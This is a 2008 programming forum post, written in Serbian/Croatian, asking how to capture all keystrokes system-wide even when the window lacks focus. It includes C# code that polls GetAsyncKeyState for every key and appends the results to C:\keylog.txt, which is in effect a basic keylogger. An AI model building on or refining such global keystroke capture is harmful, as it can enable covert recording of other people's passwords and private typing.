[ IQooLogic @ 29.10.2008. 22:35 ] @
Zamisao je da se hvataju svi tasteri sa tastature.Za tako shta sam koristio GetAsyncKeyState medjutim nije bash pouzdan u smislu da ne belezhi sve karaktere bez obzira shto je timer interval stavljen na 3ms.On hvata tastere sa zakashnjenjem, a zbog toga propushta da zabelezhi neke koji su kucani brzo.Postoji li bolji i lakshi nachin za tako shta i ako mozhe neki manji primer.Treba da hvata tastere i kada glavni form izgubi fokus ![]() Code: [DllImport("User32.dll")] private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); [DllImport("User32.dll")] private static extern short GetAsyncKeyState(System.Int32 vKey); string keyBuffer = String.Empty; private void Form1_Load(object sender, EventArgs e) { timer1.Enable = true; timer1.Start(); } private void timer1_Tick(object sender, EventArgs e) { timer1.Interval = 3; foreach (System.Int32 i in Enum.GetValues(typeof(Keys))) { if ((GetAsyncKeyState(i) == 2) || (GetAsyncKeyState(i) == -32767)) { keyBuffer += Enum.GetName(typeof(Keys), i) + " "; textBox1.Text = keyBuffer; MessageBox.Show(i.ToString()); if (keyBuffer != " ") { keyBuffer = keyBuffer.Replace("Space", "Space"); keyBuffer = keyBuffer.Replace("Delete", "Del"); keyBuffer = keyBuffer.Replace("LShiftKey", "LSHIFT"); keyBuffer = keyBuffer.Replace("ShiftKey", "SHIFT"); keyBuffer = keyBuffer.Replace("OemQuotes", "!"); keyBuffer = keyBuffer.Replace("Oemcomma", "?"); keyBuffer = keyBuffer.Replace("D8", "á"); keyBuffer = keyBuffer.Replace("D2", "ě"); keyBuffer = keyBuffer.Replace("D3", "š"); keyBuffer = keyBuffer.Replace("D4", "č"); keyBuffer = keyBuffer.Replace("D5", "ř"); keyBuffer = keyBuffer.Replace("D6", "ž"); keyBuffer = keyBuffer.Replace("D7", "ý"); keyBuffer = keyBuffer.Replace("D9", "í"); keyBuffer = keyBuffer.Replace("D0", "é"); keyBuffer = keyBuffer.Replace("Back", "BackSpace"); keyBuffer = keyBuffer.Replace("LButton", "LButton"); keyBuffer = keyBuffer.Replace("RButton", "RButton"); keyBuffer = keyBuffer.Replace("NumPad", "NumPad"); keyBuffer = keyBuffer.Replace("OemPeriod", "."); keyBuffer = keyBuffer.Replace("OemSemicolon", "ů"); keyBuffer = keyBuffer.Replace("Oem4", "/"); keyBuffer = keyBuffer.Replace("LControlKey", ""); keyBuffer = keyBuffer.Replace("ControlKey", "_CTRL"); keyBuffer = keyBuffer.Replace("Enter", "Enter"); keyBuffer = keyBuffer.Replace("Shift", "SHIFT"); //keyBuffer = keyBuffer.ToLower(); //keyBuffer = keyBuffer.Replace(" ", ""); } StreamWriter sw = new StreamWriter(@"C:\keylog.txt", true); sw.Write(keyBuffer); sw.Flush(); sw.Close(); } } } |